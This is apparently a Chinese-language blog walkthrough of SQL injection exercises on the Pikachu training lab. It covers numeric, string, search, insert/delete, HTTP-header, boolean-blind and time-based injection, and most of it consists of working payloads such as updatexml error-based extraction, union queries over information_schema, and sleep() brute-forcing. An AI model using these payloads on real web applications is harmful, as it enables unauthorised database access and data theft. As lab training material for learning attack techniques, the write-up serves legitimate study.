皮卡丘注入实战

2024-03-12 1,040 0

选择使用or 还是 and 的时候要注意都试一下  因为1’ and ‘1’=’1  因为1是存在的所以and用的时候能使条件为1 而0’ or ‘1’=’1因为0不存在只能用or使条件为1。

一. 数字型注入

1. 数字型注入(注:数字型注入判断/1 /0  他不需要’ ‘’ 闭合)

2. 选择一个id,然后进行抓包,放入重放

3. 因为重放包里面不好判断回显,这里我们选择hackbar 将post里面的数据放入hackbar

4. 然后1/1  1/0 看回显 发现回显不一样

/1

/0

5. 然后直接使用盲注 if()函数  if(1=1,1,0)----->if(mid(user(),1,1)='a',1,0)对a进行爆破

6. 这里也可以用报错注入 因为是字符型不用单引号闭合

1 and updatexml(1,concat(0x7e,database(),0x7e),1)=1

二. 字符型注入

1. 字符型注入(注:字符型判断’‘’  需要’ ‘’ 闭合)

找到与数据库交互的参数,下面一看就是

2. 输入111 然后进行抓包 ‘  ’‘   判断是否存在注入

单引号是30970

双引号是33675

3. 所以这里存在注入 然后构造payload:111'+or+mid(user(),1,1)!='a   进行爆破

一步一步构造出来 1’+or+’1’=’1 poc有回显

爆破出来第一位用户名为R r

4. 因为单引号会报错,所以可以试试报错注入

1’ and updatexml(1,concat(0x7e,database(),0x7e),1)=’1

因为是字符型,所以要单引号闭合

所以可以显示出数据库名

三. 搜索型注入

1. 首先输入1 发现有数据 所以这里可以用and

判断 单引号 双引号 发现回显不一样(自己手工测试)

构造poc : 1’ and ‘1’=’1   1’ and ‘1’=’2  看看回显不一样

2.

1’ and ‘1’!=’1 回显是不一样但你能发现 1’ and ‘1’=’2 与 1’ and ‘1’=’1 回显是一样的

为什么勒?

因为查询语句可能是这样的 select * from * where id=’          and 1=99’

字符1’ and ‘1’=’1是要与后面的单引号闭合 但是他可能1后面还有语句

select * from * where id=’   1’ and ‘1’=’1       and 1=99’ 这样查看的语句就和1’ and ‘1’=’2

回显是一样的

所以这里我们用 1’ or 1=1 #  或者  1’ or ‘1’=’1’ #  回显不一样爆破数据库

1’ or 1=1 #

1’ or 1=2 #

3.爆破数据名就不爆破了,其实都一样  字符型需要闭合

这里我们试试报错注入   1' and updatexml(1,concat(0x7e,database(),0x7e),1)=1#

四. XX型注入

有点特别这里 数据库里面语句是 where id=(‘’)

1. 第一步单引号:

根据这句话就可以看出来刚刚的特别

两个单引号:回显正常Payload:  ')  union select database(),2  # 就可以判断出用户名了

2.

3. 所以为了构造sql语句,这里要闭合where id=(‘’)里面的(‘

输入’) #  相当于where id=(‘    ‘)#  ’)

闭合后里面就可以 添加sql语句 这里用联合查询

输入’) #   发现闭合 没有报错

4. 联合注入

首先’ ) order by 1  # 判断有几个字段

’ ) order by 2  # 回显正常

’ ) order by 3  # 回显不正常  说明有2个字段

然后用联合查询 ‘)  union select 1,2 # 看看里面数据发现有1 2

说明联合会对1 2 这几个数字查询  是关键数字 让他们替换成database()就可以查

‘)  union select 1,database() #

2上面的位置就显示出数据库名

然后使用sql语句查询数据库中表名

‘) union select 1,group_concat(table_name)   from information_schema.tables where table_schema=database() #

然后查表里面的字段

‘ )  union select 1,group_concat(column_name),3 from information_schema.columns where table_name="message" #

然后查询查询表里面的字段信息id content:

')  union select content,id  from message #

五. Inset/update型注入

1.点击注册 里面有注入

2. 单引号 双引号判断用户名存在注入

3. 这里可以用报错注入 字符型

1’+and+updatexml(1,concat(0x7e,database(),0x7e),1)=’1#

但是为什么1’+and+updatexml(1,concat(0x7e,database(),0x7e),1)=1 # 没有显示就很奇怪

六. Detete型注入

1. 听名字就知道,是删除存在注入

点击删除哪里存在注入

先/1 /0  发现是数字型注入  其实单引号双引号也会报错

/1页面正常

/0 页面不正常

2. 所以可以使用盲注和报错注入,盲注跟之前一样的

报错注入payload:1+or+updatexml(1,concat(0x7e,database(),0x7e),1)=1

数据库名出来了

七. http头 注入

登陆进去admin 123456 然后刷新抓包

里面有注入点

1. 首先cookie里面明文传输,admin存在注入

Admin’

Admin’’

2. 这里也是盲注,我就不多说了,和前面一样

这里也有报错注入:admin'+or+updatexml(1,concat(0x7e,database(),0x7e),1)='1

然后就可以看到数据库名

3. 其实这里还有一个地方存在注入

User-Agent:’

User-Agent:’’

4.然后这里步骤是一样,只是注入点有点离谱

八.盲注base on boolan头 注入

1.这里依旧是查询宽,不用说存在注入,主要怎么去判断

这里用到exp(709)一个计数函数超过exp(710)就会报错

‘-exp(709)-’

'-exp(710)-' 就会报错 存在回显就可能有注入

3. 构造payload:'-if(1=1,exp(999),0)-'  后面怎么爆破数据库名我就不说了,都一样

主要是判断  --是注释符 中间加函数可以被强制执行  所以用来构造payload

为什么'-if(1=1,exp(999),0)-# 不会报错是因为mysql是弱类型  -是减号会将#变成int(#)就达不到注释的作用

所以'-if(1=1,exp(999),0)#  就可以达到效果

还有'/if(1=1,exp(999),0)/'  '+if(1=1,exp(999),0)+'  为什么要这样加这个主要让数据库去计算

从而达到回显不一样的效果

4. 这里还可以用 其实’  ‘’判断注入是判断不出来的 所以每一个与数据库交互的地方都要去试一下 1’ or ‘1’=’1  有的没有报错也可能存在注入用poc:1’ or ‘1’=’1 和1’ or ‘1’=’2去看看有没有回显

1' or 1=1 limit 1 #(经验所制)

1' or 1=2 limit 1 #(经验所制)

九.盲注 时间sleep()  注入

1' or sleep(1) # 因为单引号 双引号 不能判断回显不一样 所以选择了sleep()

Payloa:

2. 这里主要是爆破里面怎么看 回显不一样

1)第一步首先线程调到最低1 因为爆破太快 反应的时间也会变多 免得干扰

2)将5 改成 1线程

3)爆破的时候,也要显示时间

以下调节时间精度

然后就可以很明显看出来是哪个数据库名第一位了


4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

webpack打包站点,js文件名批量获取思路
加密对抗靶场enctypt——labs通关
【论文速读】| 注意力是实现基于大语言模型的代码漏洞定位的关键
蓝队技术——Sysmon识别检测宏病毒
内网渗透学习|powershell上线cs
LLM attack中的API调用安全问题及靶场实践

发布评论